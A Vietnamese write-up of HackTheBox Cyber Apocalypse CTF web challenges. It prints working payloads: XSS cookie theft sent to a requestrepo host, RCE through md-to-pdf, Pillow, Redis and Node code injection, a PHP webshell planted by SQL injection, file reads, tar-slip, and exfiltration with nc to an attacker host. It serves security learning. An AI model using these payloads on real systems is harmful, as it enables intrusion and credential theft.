Sự kiện Cyber Apocalypse CTF do HackTheBox tổ chức thường niên dành cho người mới bắt đầu, người có đam mê và hacker chuyên nghiệp trong ngành InfoSec.
Vì năm ngoái, mình có tham gia và đánh giá đề Web của sự kiện này hay và fun, nên năm nay mình quyết định lại tham gia để xem đề năm nay của họ như thế nào. Dưới đây là writeup của mình.
Kryptos Support
Dạo 1 vòng của trang thì nhận thấy như sau:
- Có 1 form report ở trang chủ, sau khi đưa input bất kì thì sẽ nhận được thông báo
An admin will review your ticket shortly!
.
=> Có thể đoán được là khi submit form với nội dung mình nhập vào thì bot sẽ truy cập vào và xem xét nội dung mình gửi lên. - Tại trang đăng nhập, nếu đăng nhập thành công thì sẽ redirect tới
/tickets
. Thử với một vài query kiểm tra SQL Injection thì không thấy dump ra lỗi hay đăng nhập được nên tạm thời bỏ qua.
Nội dung hàm auth
trong file /static/js/login.js
:
async function auth() {
await fetch(`/api/login`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then((response) => response.json()
.then((resp) => {
if (response.status == 200) {
card.text(resp.message);
card.show();
window.location.href = '/tickets';
return;
}
card.text(resp.message);
card.show();
}))
.catch((error) => {
card.text(error);
card.show();
});
}
Tới đây thì có thể suy nghĩ rằng phải có được account hoặc có thể lấy được cookie của bot để đăng nhập.
Quay lại form report, mình thử nhập mã HTML có chứa thẻ script
để chạy mã Javascript nhằm lấy được cookie của bot để đăng nhập và có thể truy cập được vào /tickets
.
<script>fetch('http://zndnjde4.requestrepo.com');</script>
Sau khi gửi payload thì chúng ta thấy là đã nhận được request tới của bot.
Vậy thì giờ steal cookie bằng payload này:
<script>fetch('http://zndnjde4.requestrepo.com?a='+document.cookie);</script>
Cookie của bot:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI5NTIyMTR9.h8Pb0TkEZuxhfuLEBuW_EdQH4v27CyKuuH6xkPaDhTk
Sử dụng cookie này để truy cập vô /tickets
nhận thấy cookie này không phải của admin
và cũng không thấy flag
chỉ biết thêm được 2 trang mới là: /settings
và /logout
.
Trang Setting có chức năng reset password, cụ thể xem tại file settings.js
:
await fetch(`/api/users/update`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({password: password1, uid}),
})
Trang sẽ request vào endpoint /api/users/update
với 2 tham số: password
và uid
.
Kiểm tra request history trong Burp Suite thấy được uid
là 100
.
=> uid
là 100 không phải là của admin. Tới đây thì đoán rằng account admin
có uid
là 1
.
Thay giá trị uid
thành 1
và đăng nhập admin với new password đã change thì đăng nhập thành công và nhận được flag.
Tóm lại
- XSS ở form report
/api/tickets/add
để steal cookie. - Ở
/api/users/update
xảy ra lỗ hổng IDOR => có thể thay đổi password của user khác, cụ thể hơn làadmin
. - Đăng nhập
admin
với password reset => lấy flag.
Flag: HTB{x55_4nd_id0rs_ar3_fun!!}
BlinkerFluids
Truy cập bài thì thấy được một số chức năng chính:
- Tạo 1 invoice
- Export invoice thành file PDF
- Xóa invoice đã tạo
Cấu trúc source code được cung cấp:
Chức năng của các API endpoint:
/api/invoice/list
-> list ra các danh sách invoice đã tạo (gọi hàmlistInvoices
trongdatabases.js
)./api/invoice/add
-> thêm 1 invoice (hàmaddInvoice
trongdatabases.js
)./api/invoice/delete
-> xóa invoice đã tạo (hàmdeleteInvoice
trongdatabases.js
).
Tất cả các hàm truy vấn trên đều sử dụng prepared statment nên không thể SQL Injection. Ở đây ta chỉ tập trung vô route /api/invoice/add
.
router.post('/api/invoice/add', async (req, res) => {
const { markdown_content } = req.body;
if (markdown_content) {
return MDHelper.makePDF(markdown_content)
.then(id => {
db.addInvoice(id)
.then(() => {
res.send(response('Invoice saved successfully!'));
})
.catch(e => {
res.send(response('Something went wrong!'));
})
})
.catch(e => {
console.log(e);
return res.status(500).send(response('Something went wrong!'));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
Nhận input từ người dùng thông qua paramater markdown_content
sau đó đưa vô hàm MDHelper.makePDF()
trong file /helpers/MDHelper.js
.
const { mdToPdf } = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')
const makePDF = async (markdown) => {
return new Promise(async (resolve, reject) => {
id = uuidv4();
try {
await mdToPdf(
{ content: markdown },
{
dest: `static/invoices/${id}.pdf`,
launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] }
}
);
resolve(id);
} catch (e) {
reject(e);
}
});
}
- File này require thư viện
md-to-pdf
để xử lí input. - Nhìn chung source code được cung cấp thì chỉ thấy chỗ import thư viện
md-to-pdf
có nghi ngờ còn những đoạn khác thì an toàn. - Dockerfile cho biết được
flag.txt
nằm ở thư mục root => cần RCE để đọc file.
Vậy giờ chỉ còn điểm đáng nghi là thư viện md-to-pdf
được sử dụng để xử lí input của người dùng đưa vào. Kiểm tra version của lib này trong file package.json
là 4.1.0
.
Tìm trên Google version của lib thì thấy được CVE-2021-23639 có thể sử dụng để khai thác trong bài này.
Exploit
Ghi nội dung của flag.txt vào file /app/static/flag.txt
POST /api/invoice/add HTTP/1.1
Host: 46.101.30.188:32038
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://46.101.30.188:32038
Referer: http://46.101.30.188:32038/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"markdown_content":"---js\n((require('child_process')).execSync('cat /flag.txt > /app/static/flag.txt'))\n---RCE"}
Truy cập /static/flag.txt
để lấy flag.
Flag: HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}
Amidst Us
Ở trang chủ của bài không có gì đặc biệt và chỉ có chức năng chỉnh màu cơ bản.
- Đọc source thì thấy chương trình chỉ xử lí hình ảnh, chỉnh màu sắc… bằng bằng thư viện
Pillow
. - Chỉ có 1 điểm nghi ngờ ở trong file
util.py
là hàmImageMath.eval
. Thường thì hàmeval
sẽ cho phép thực thi code và cụ thể hơn là hàm này nằm trong libPillow==8.4.0
. - Tìm Google với version đang sử dụng thì thấy được 1 CVE có liên quan CVE-2022-22817.
Payload
Trên server chạy command:
nc -lvnp [PORT]
Trigger command gửi flag:
{"image":"REDACTED","background":["__import__('os').system('cat /flag.txt | nc [IP] [PORT]')",15,15]}
Flag: HTB{i_slept_my_way_to_rce}
Intergalactic Post
Trang chủ sau khi nhập email thì reponse chỉ trả về Email subscribed successfully!
Trong source code được cung cấp, chức năng này sẽ hoạt động như sau:
- File
index.php
có 2 routes:/
và/subscribe
.
Ở đây chỉ cần chú ý tới /subscribe
vì nó là chức năng chính.
- Route này sẽ gọi đến function
store
trong controllerSubsController
. - Function
store
này làm nhiệm vụ kiểm raemail
nhập vào bằng hàmfilter_var()
với tham số filter làFILTER_VALIDATE_EMAIL
. - Pass được filter thì tiếp tục đưa vô function
subscribe
trong modelSubscriberModel
. - Hàm
subscribe
nhận tham số$email
và khởi tạo thêm 1 biến$ip_address
, sau đó đưa$email
và$ip_address
vào hàmsubscribeUser
nằm trong fileDatabase.php
.$ip_address
được gán bằng giá trị trả về của functiongetSubscriberIP
. Hàm này sẽ nhận các giá trị của một trong các headers:X-Forwarded-For
,Client-Ip
hoặc ip hiện tại mình đang request.
- Hàm
subscribeUser
trong fileDatabase.php
sẽ thực hiện insert 2 giá trịip_address
vàemail
vào tablesubscribers
. Ở đây 2 input này mình đều control được nhưng lại được đưa vô thẳng câu query => có thể SQL Injection.
Dockerfile cho biết flag ở thư mục root chứ không phải trong database => cần RCE để đọc flag.
Hàm exec
trong SQLite3 có hỗ trợ multiple query => lợi dụng điều này để thực hiện SQLi to RCE.
Exploit
POST /subscribe HTTP/1.1
Host: 46.101.30.188:31220
Content-Length: 21
X-Forwarded-For: 123','3'); ATTACH DATABASE '/www/shell.php' AS lol; DROP TABLE IF EXISTS lol.pwn; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET[0]); ?>");--
Connection: close
email=abc@gmail.com
Truy cập vào webshell vừa ghi: /shell.php?0=cat+/flag*
Flag: HTB{inj3ct3d_th3_tru7h}
Mutation Lab
Các chức năng chính fuzz được trên trang là:
/api/login
,/api/register
-> thử một số payload SQL Injection cơ bản nhưng không khả thi./api/export
nhận input của người dùng là 1 file SVG từ tham sốsvg
sau đó sẽ export ra 1 file png tương ứng.
Khi thay đổi nội dung của tham số svg
không phải là nội dung của file svg thì sẽ reponse trả về exception kèm stack trace.
- Biết được chương trình sử dụng thư viện
convert-svg-core
để xử lí file svg nhận từ người dùng. - Tìm kiếm trên Google thì biết được rằng thư viện này đã từng có lỗi
Directory Traversal
với mã CVE là CVE-2021-23631. - Có header
X-Powered-By: Express
trong response => website được viết bằng Nodejs.
Thử chạy payload của CVE trên và sau đó truy cập vô đường dẫn mà file pdf đã export ra thì nhận được nội dung của file /etc/passwd
.
Sử dụng CVE trên để đọc source để biết flag nằm ở đâu và làm như thế nào để lấy flag.
Tiến hành đọc các file như: /app/index.js
, /app/database.js
và /app/routes/index.js
index.js
- Biết được
key
để tạo cookie củasession
nằm ởprocess.env.SESSION_SECRET_KEY
=> có thể đọc đượcSESSION_SECRET_KEY
này bằng cách tương tự như đã đọc fileindex.js
- Khi lấy được
SESSION_SECRET_KEY
thì có thể craft lại session theo ý mình muốn
Đoạn code trong file routes/index.js
cho biết được sẽ nhận được flag khi đăng nhập với account admin
.
Tóm lại
Để có thể giải quyết bài này thì sẽ làm như sau:
- Đọc file
/app/.env
để lấy đượcSESSION_SECRET_KEY
- Craft lại session của admin sau đó truy cập vô
/dashboard
để lấy flag
Exploit steps
- Đọc file
.env
để lấySESSION_SECRET_KEY
{"svg":"<svg-dummy></svg-dummy><iframe src='file:///app/.env' width='100%' height='1000px'></iframe><svg viewBox='0 0 240 80' height='1000' width='1000' xmlns='http://www.w3.org/2000/svg'><text x='0' y='0' class='Rrrrr' id='demo'>data</text></svg>"}
SESSION_SECRET_KEY
: 5921719c3037662e94250307ec5ed1db
Craft lại session với username
là admin
:
const express = require('express')
const app = express()
const session = require('cookie-session')
app.use(session({
name: 'session',
keys: ['5921719c3037662e94250307ec5ed1db']
}))
app.get('/', (req, res) => {
req.session.username = 'admin'
res.send('hello')
})
app.listen(8081)
- Host file này sau đó truy cập
http://[YOUR_VPS]:8081/
để lấysession
vàsession_sig
.
- Truy cập vào
/dashboard
với session admin đã craft được.
Flag: HTB{fr4m3d_th3_s3cr37s_f0rg3d_th3_entrY}
Acnologia Portal
Các tính năng có thể nhìn thấy khi truy cập challenge: login, register. Sau khi đăng nhập thì thấy rằng website sẽ liệt kê danh sách các firmware và từng module kèm theo chức năng report với tham số issue
.
Tập trung đến những đoạn code sau sẽ dẫn đến lỗi để có thể exploit bài này:
@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
module_id = data.get('module_id', '')
issue = data.get('issue', '')
if not module_id or not issue:
return response('Missing required parameters!'), 401
new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
db.session.add(new_report)
db.session.commit()
visit_report()
migrate_db()
return response('Issue reported successfully!')
- Có chức năng report và 2 tham số do người dùng nhập vào có thể control được là
module_id
vàissue
. - Gọi đến hàm
visit_report
nằm trong filebot.py
. Hàm này sẽ tự động đăng nhập tài khoản admin với username và password lấy từ fileconfig.py
. Sau đó sẽ truy cập tớihttp://localhost:1337/review
.@web.route('/review', methods=['GET']) @login_required @is_admin def review_report(): Reports = Report.query.all() return render_template('review.html', reports=Reports)
- Route này yêu cầu chỉ admin mới có quyền truy cập.
- Decorator
@is_admin
chỉ kiểm tracurrent_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1'
và với yêu cầu của bot thì đều pass được cả 2 điều kiện này. - Sau đó query với các column
id
,module_id
,reported_by
,issue
và lấy tất cả dữ liệu trả về render cho templatereview.html
. - Trong file
review.html
in ramodule_id
vàissue
=> có thể XSS ở đây. - Mặc dù control được cả
module_id
vàissue
nhưng trong database chỉ cho phépissue
là text, cònmodule_id
là integer => XSS ởissue
.
- Gọi đến hàm
migrate_db
– hàm này có nhiệm vụ sau khi kết thúc report thì sẽ xóa sạch các dữ liệu nằm trong table, sau đó insert account admin và 1 số thông tin của firmware.
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
if 'file' not in request.files:
return response('Missing required parameters!'), 401
extraction = extract_firmware(request.files['file'])
if extraction:
return response('Firmware update initialized successfully.')
return response('Something went wrong, please try again!'), 403
- Sử dụng decorator
@is_admin
để giới hạn quyền truy cập. - Sau khi upload 1 file thông qua tham số
file
thì sẽ được đưa vô hàmextract_firmware
trong fileuntil.py
.
def extract_firmware(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
rand_dir = generate(15)
extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
os.makedirs(extractdir, exist_ok=True)
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
try:
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
continue
except:
pass
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return True
- File upload lên sẽ được lưu tại thư mục
/tmp
. - Check file vừa tải lên có phải định dạng tar hay không, sau đó sử dụng hàm
extractall
để extract ra thư mục/tmp
. - Các file được extract sẽ được nằm trong
{current_app.config['UPLOAD_FOLDER']}/{rand_dir}
cụ thể là/app/application/static/firmware_extract/[rand_dir]
- Sau khi extract thành công thì cũng không truy cập được những file mình đã extract đó vì có thêm thư mục với tên ngẫu nhiên.
- Nhưng hàm
extractall
sẽ gây ra lỗi path traversal khi extract nếu không check..
trong filename (tham khảo: py-tarslip) => arbitrary file write.
Tóm lại
Chúng ta có thể biết được chương trình này chứa 2 lỗi XSS và Path Traversal.
Ý tưởng giải quyết:
- Sử dụng XSS để upload file tar qua
/firmware/upload
vì route này chỉ có admin truy cập được. - Tạo 1 file
flag.txt
và symlink trỏ tới/flag.txt
. - Nén file đã tạo vào trong file tar và tiến hành sửa filename từ
flag.txt
thành../../../../../app/app/application/static/firmware_extract/flag.txt
để ghi vào chỗ mà mình có thể truy cập được.
Exploit steps
- Symlink
/flag.txt
touch flag.txt
ln -s /flag.txt flag.txt
- Nén file thành tar
tar cvzf payload.tar.gz flag.txt
- Sử dụng 7z để sửa filename flag.txt thành
../../../../../app/app/application/static/firmware_extract/flag.txt
- Host 1 file
index.php
trên VPS và lưu filepayload.tar.gz
cùng thư mục với nhau. Chạy commandphp -S 0.0.0.0:1234
<?php
header("Access-Control-Allow-Origin: *");
echo file_get_contents("payload.tar.gz");
?>
- Script để upload file ở
issue
:
<script>
fetch("http://[YOUR_VPS]:1234/")
.then(res => res.blob())
.then(content => {
let data = new FormData()
data.append("file", content)
fetch("/api/firmware/upload", {
method: "POST",
body: data
})
.then(r => r.text())
.then(t => fetch("https://[YOUR_REQUESTBIN]?a=" + t))
})
</script>
- Cuối cùng truy cập vào
/static/firmware_extract/flag.txt
để lấy flag.
Flag: HTB{des3r1aliz3_4ll_th3_th1ngs}
Red Island
Không được cung cấp source nên fuzz thì thấy có một số chức năng sau:
/api/login
và/api/register
-> thử một số payload đơn giản về SQL Injection thì bài này vẫn không work./api/red/generate
-> nhận giá trị của người dùng nhập vào thông qua tham sốurl
.
Vì thử payload ở login và register đều không thể thực hiện SQL Injection nên bây giờ chỉ focus vào /api/red/generate
.
- Thử nhập url
http://google.com
thì có trả về reponse là nội dung của trang. - Vậy ở đây có thể nghĩ tới lỗi SSRF => thử payload
file:///etc/passwd
- Đọc thành công nội dung file
/etc/passwd
=> Sử dụng lỗi SSRF để khai thác bài này. - Có header
X-Powered-By: Express
trong response => website được viết bằng Nodejs. - Vậy bây giờ sử dụng lỗ hổng SSRF để đọc source nhằm biết flag ở đâu và chương trình có thêm một số chức năng ẩn nào khác không.
Sử dụng cái payload sau để đọc source code của bài:
file:///app/index.js
file:///app/database.js
file:///app/routes/index.js
file:///app/middleware/AuthMiddleware.js
file:///app/helpers/createRed.js
file:///app/helpers/ImageDownloader.js
Sau khi đọc được source thì không thấy flag nằm trong database => cần phải RCE để tìm flag ở đâu và đọc nó.
File index.js
cho biết chương trình sử dụng Redis => port 6379 đang mở.
- Sử dụng tool Gopherus để tạo payload nhưng không thành công.
- Sau khi tìm kiếm trên Google thì thấy được có CVE-2022-0543 có thể RCE bằng cách escape Lua sandbox.
Payload
{"url":"gopher://localhost:6379/_eval%20%22local%20io_l=package.loadlib(%27/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%27,%27luaopen_io%27);local%20io=io_l();local%20f%20=%20io.popen(%27ls%20/app%27,%27r%27);local%20res=f:read(%27*a%27);return%20res%22%200%0aquit"}
Flag: HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}
Spiky Tamagotchy
Đọc source thì chỉ nhận thấy được đoạn code dưới đây là xử lí chính:
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body;
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
.then(status => {
return res.json(status);
})
.catch(e => {
res.send(response('Something went wrong!'));
});
}
return res.send(response('Missing required parameters!'));
});
- Nhận 4 giá trị từ các tham số
activity
,health
,weight
,happiness
. - Các giá trị của các tham số trên sẽ được ép kiểu thành integer, chỉ trừ
activity
vẫn giữ là string. - Sau đó đưa các giá trị này vô hàm
calculate
ở fileSpikyFactor.js
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
const {m, hp, w, hs} = quickMaths();
resolve({mood: m, health: hp, weight: w, happiness: hs})
}
catch (e) {
reject(e);
}
});
}
Đoạn code này sẽ xảy ra lỗi Code Injection vì input của người dùng đưa thẳng vào đoạn code js và tạo function từ đoạn string đó, cuối cùng gọi lại hàm đã khởi tạo.
Nhưng để exploit được chỗ này thì phải pass được AuthMiddleware
được gọi khi request tới /api/activity
.
const JWTHelper = require('../helpers/JWTHelper');
module.exports = async (req, res, next) => {
try{
if (req.cookies.session === undefined) {
if(!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return JWTHelper.verify(req.cookies.session)
.then(username => {
req.data = username;
next();
})
.catch(() => {
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
- Ở đây check session đưa vào phải được xác thực, có nghĩa là phải login vô với account bất kì không cần phải là admin.
- Nhưng trong source không có chỗ login và những query đều là prepared statement nên hiện tại không thể thực hiện SQL Injection.
Dockerfile cho biết flag được nằm ở thư mục root => cần RCE để đọc flag. Điều kiện này có thể thực hiện được vì đã có lỗi Code Injection.
Chú ý thì thấy được MySQL được sử dụng, vậy nhớ đến 1 bài viết có phân tích về một lỗ hổng SQL Injection về prepared statement, lỗ hổng này tồn tại trong MySQL NodeJS.
Tóm lại
- Sử dụng SQL Injection trong thư viện MySQl của NodeJS để thực hiện bypass việc login.
- Escape và inject 1 đoạn code trong tham số
activity
để RCE.
Exploit
Bypass login
POST /api/login HTTP/1.1
Host: localhost:1337
Content-Length: 46
Content-Type: application/json
Connection: close
{"username":"admin","password":{"password":1}}
Code Injection
POST /api/activity HTTP/1.1
Host: localhost:1337
Content-Length: 156
Content-Type: application/json
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUzMTI1MDUzfQ.eVI31ZS4G_sKykUMsjGXNGi8HIQBq_sORrIg0RsyntA
Connection: close
{"activity":"'+process.mainModule.require('child_process').execSync('cat /flag.txt > /app/static/flag.txt')+'","health":"60","weight":"42","happiness":"50"}
Truy cập /static/flag.txt
để đọc flag.
Flag: HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}
Genesis Wallet & Genesis Wallet’s Revenge
Chúng ta cùng nhìn qua Dockerfile
để có thể hình dung được bài này được setup như thế nào và sử dụng thư viện, service gì.
- Cài đặt trình duyệt Google Chrome.
- Cài đặt Varnish.
- Nội dung file
/etc/varnish/secret
được lấy ngẫu nhiên từ file/dev/urandom
. - Copy các file config vào đúng vị trí để các service sử dụng.
Varnish là gì?
Varnish là một “web application accelerator” đóng vai trò là một reverse proxy làm nhiệm vụ caching các HTTP requests nhằm tăng tốc độ truyền tải dữ liệu từ server đến client nhanh chóng hơn.
Genesis Wallet – Unintended solution
Các đoạn code dưới đây dẫn đến lỗi ở bài này:
File routes/index.js
router.post('/api/transactions/create', AuthMiddleware, async (req, res) => {
const {amount, receiver, note} = req.body;
if (trxLocked) return res.status(401).send(response('Please wait for the previous transaction to process first!'));
return db.getUser(req.user.username)
.then(user => {
if (parseFloat(user.balance) < parseFloat(amount)) return res.status(403).send(response('Insufficient Funds!'));
if (!addressExp.test(receiver)) return res.status(403).send(response('Invalid receiver address format!'));
if (receiver == user.address) return res.status(403).send(response(`You can't send to your own address!`));
trxLocked = true;
safeNote = MDHelper.filterHTML(note);
db.addTransaction(user.address, receiver, user.balance, amount, safeNote)
.then(() => {
trxLocked = false;
return res.send(response('Transaction created successfully!'));
})
.catch(e => {
trxLocked = false;
console.log(e);
return res.status(500).send(response('Something went wrong, please try again!'))
})
})
.catch((e) => {
console.log(e);
trxLocked = false;
res.status(500).send(response('Internal server error!'));
});
});
- Nhận giá trị từ người dùng qua 3 tham số
amount
,receiver
,note
. - Check
balance
không được nhỏ hơnamount
,address
không được là chính address của user chuyển tiền. - Giá trị mà người dùng truyền vô tham số
note
thì sẽ được xử lí qua hàmfilterHTML
ở fileMDHelper.js
. Cụ thể là sử dụng libdompurify
. - Hàm
addTransaction
trongdatabase.js
sẽ nhận 4 giá trịuser.address
(address của người gửi),receiver
(address của người nhận),balance
(balance của người gửi),amount
(số tiền chuyển),safeNote
(giá trị của tham sốnote
sau qua hàmfilterHTML
xử lí). - Đoạn code này chỉ có chức năng là tạo 1 transaction để chuyển tiền nhưng chưa được xác thực (ở trang thái pending).
Để xác thực thì gọi đến route /api/transactions/verify
:
- Check OTP thành công thì sẽ gọi đến hàm
verifyTransaction
trongdatabase.js
. - Hàm
verifyTransaction
có nhiệm vụ trừbalance
trong account người gửi và cộng thêmbalance
cho người nhận.
- Khi
balance
của account lớn hơn 1337 và username khácicarus
thì sẽ nhận được flag.
Về address của người nhận là giá trị hash md5 của username, ở trong file database.js
thấy được có 1 username được insert sẵn, address là 1ea8b3ac0640e44c27b3cb8a258a87f8
.
Chú ý thì thấy ở đây khi amount
được nhập từ người dùng thì sẽ không check số âm. Vậy nếu chúng ta nhập số âm thì chuyện gì sẽ xảy ra?
- Khi update balance của người chuyển sẽ lấy
balance
hiện tại mà username có trừ điamount
.
=> Nếu nhậpamount
là -1 thì phép toán thực hiện sẽ làbalance - -1
sẽ khiếnbalance
của account tăng lên chứ không bị giảm đi.
Payload
POST /api/transactions/create HTTP/1.1
Host: localhost:1337
Content-Type: application/x-www-form-urlencoded
Cookie: session=REDACTED
Content-Length: 64
amount=-99999&receiver=1ea8b3ac0640e44c27b3cb8a258a87f8¬e=abc
Flag: HTB{fl3w_t00_cl0s3_t0_th3_d3cept10n}
Genesis Wallet’s Revenge – Intended solution
Chúng ta cùng kiểm tra từng phần nhỏ của file cache.vcl
dùng làm file config để hiểu kĩ hơn.
cache.vcl
vcl 4.1;
Mỗi file có đuôi .vcl đều phải bắt đầu bằng việc khai báo version của cú pháp Varnish sẽ sử dụng, ở đây là 4.1
.
backend default {
.host = "127.0.0.1";
.port = "1337";
}
Khai báo thông tin của backend server, ở đây là service Nodejs đang chạy tại địa chỉ 127.0.0.1
với port là 1337
.
sub vcl_hash {
hash_data(req.url);
if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}
return (lookup);
}
Subroutine vcl_hash
chỉ định input nào sẽ đóng vai trò làm cache index để so sánh và trả về dữ liệu đã cache trước đó. Cụ thể thì Varnish sẽ dựa vào req.url
, req.http.host
(Host
header) và server.ip
làm cache index. Đây cũng là cấu hình mặc định của Varnish.
sub vcl_recv {
# Only allow caching for GET and HEAD requests
if (req.method != "GET" && req.method != "HEAD") {
return (pass);
}
# get javascript and css from cache
if (req.url ~ "(.(js|css|map)$|.(js|css)?version|.(js|css)?t)") {
return (hash);
}
# get images from cache
if (req.url ~ ".(svg|ico|jpg|jpeg|gif|png)$") {
return (hash);
}
# get fonts from cache
if (req.url ~ ".(otf|ttf|woff|woff2)$") {
return (hash);
}
# get everything else from backend
return(pass);
}
Đây là subroutine sẽ được Varnish chạy đầu tiên. Tại subroutine này trả về 2 actions: pass
và hash
.
pass
: Bỏ qua bước tìm kiếm cache index để trả về dữ liệu, nhưng vẫn thực hiện tiếp các flow còn lại của Varnish.pass
không thực hiện caching response.hash
: Thực hiện tìm kiếm cache index để trả về dữ liệu đã cached (hoặc caching những response chưa được cached).
Dựa vào khái niệm của 2 actions trên, chúng ta cũng có thể suy ra được subroutine này đang thực hiện nhiệm vụ gì.
- Nếu HTTP method không phải là
GET
vàHEAD
thì bỏ qua việc tìm kiếm cached data. - Nếu
req.url
thỏa mãn câu regex(.(js|css|map)$|.(js|css)?version|.(js|css)?t)
thì sẽ caching response..(js|css|map)$
: kiểm tra những kí tự cuối củareq.url
có chứa.js
,.css
hay.map
hay không..(js|css)?version
: có.js?version
hay.css?version
trong request url hay không..(js|css)?t
: có.js?t
hay.css?t
trong request url hay không.
- Hai đoạn
if
còn lại cũng tương tự. - Cuối cùng là sẽ không thực hiện caching response nếu không thỏa các điều kiện trên.
sub vcl_backend_response {
set beresp.ttl = 120s;
}
Subroutine này sẽ được execute nếu backend server trả về response với HTTP status codes không phải là một error status codes.
Trong config này thì sẽ set thời gian TTL (Time-To-Live) của cached data là 120s.
sub vcl_deliver {
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
} else {
set resp.http.X-Cache = "MISS";
}
set resp.http.X-Cache-Hits = obj.hits;
}
Subroutine vcl_deliver
sử dụng để set header cho response. Ở đây chỉ đơn giản là set giá trị cho header X-Cache
nếu được request lần đầu thì sẽ là MISS
, những lần truy cập sau thì sẽ là HIT
.
Vậy làm sao để khai thác nếu server đang chạy 1 caching service trên đó?
Ý tưởng
Trong trang Settings
của người dùng có tính năng reset 2FA code tại /reset-2fa
và được implement trong source code như sau:
router.get(/^/(w{2})?/?(setup|reset)-2fa/, AuthMiddleware, async (req, res) => {
let lang = req.params[0];
if (!lang) lang = 'en';
let otpkey = OTPHelper.genSecret();
return db.setOTPKey(req.user.username, otpkey)
.then(() => {
return res.render(`${lang}/setup-2fa.html`, {otpkey: otpkey, action: req.params[1]});
})
.catch(err => {
console.log(err);
return res.status(500).send(response('Something went wrong!'));
});
});
và response có chứa secret key của OTP dùng để tạo QR code:
<script>
genQRCode('DBAF2YD5ERURKFQT');
</script>
Vì route này được xử lí bằng regex để matching và sử dụng ^
để match những kí tự bắt đầu chuỗi nên chỉ cần những kí tự bắt đầu chuỗi hợp lệ thì sẽ không quan tâm đến những kí tự phía sau, nhờ đó chúng ta có thể thêm .js
, .css
hay .map
vào đằng sau để Varnish caching response của trang.
Ví dụ: /reset-2fa.js
, /reset-2fa.css
hay /reset-2fa.map
đều được. Mình chọn /reset-2fa.js
làm link để caching.
Exploit
Chúng ta cần cho bot truy cập vào 1 trong 3 link ở trên để Varnish caching response có chứa secret key của OTP, từ đó tạo được QR code và đăng nhập vào tài khoản của bot với username là icarus
. Nghe hay đấy nhưng bằng cách nào?
Tại form chuyển tiền có hỗ trợ tính năng chèn hình ảnh vào note, ta có thể lợi dụng tính năng này để khi bot truy cập vào xem giao dịch thì sẽ tự động load ảnh (ở đây là sẽ load http://127.0.0.1/reset-2fa.js
).
Xong khi bấm Send
để chuyển tiền, tiến hành request vào /reset-2fa.js
để lấy secret key. Sửa Host
header thành 127.0.0.1
để matching, nếu không sửa sẽ không match với điều kiện được ghi trong vcl_hash
và sẽ được yêu cầu đăng nhập như bình thường.
GET /reset-2fa.js HTTP/1.1
Host: 127.0.0.1
Sau khi có được secret key của OTP rồi thì tạo QR code, đăng nhập vào icarus
(thông tin tài khoản trong file database.js
), nhập 2FA code và chuyển hết tiền về wallet account của mình. Logout account icarus
, login account của mình và vào /dashboard
để lấy flag.
Flag: HTB{Fl3w_t00_cl0s3_t0_7h3_d3cept10n_4nd_burn3d!}
CheckpointBots
Đoạn code gây ra lỗi cho bài này:
@GetMapping(value="/api/checkpointbot/check-in", produces="application/json")
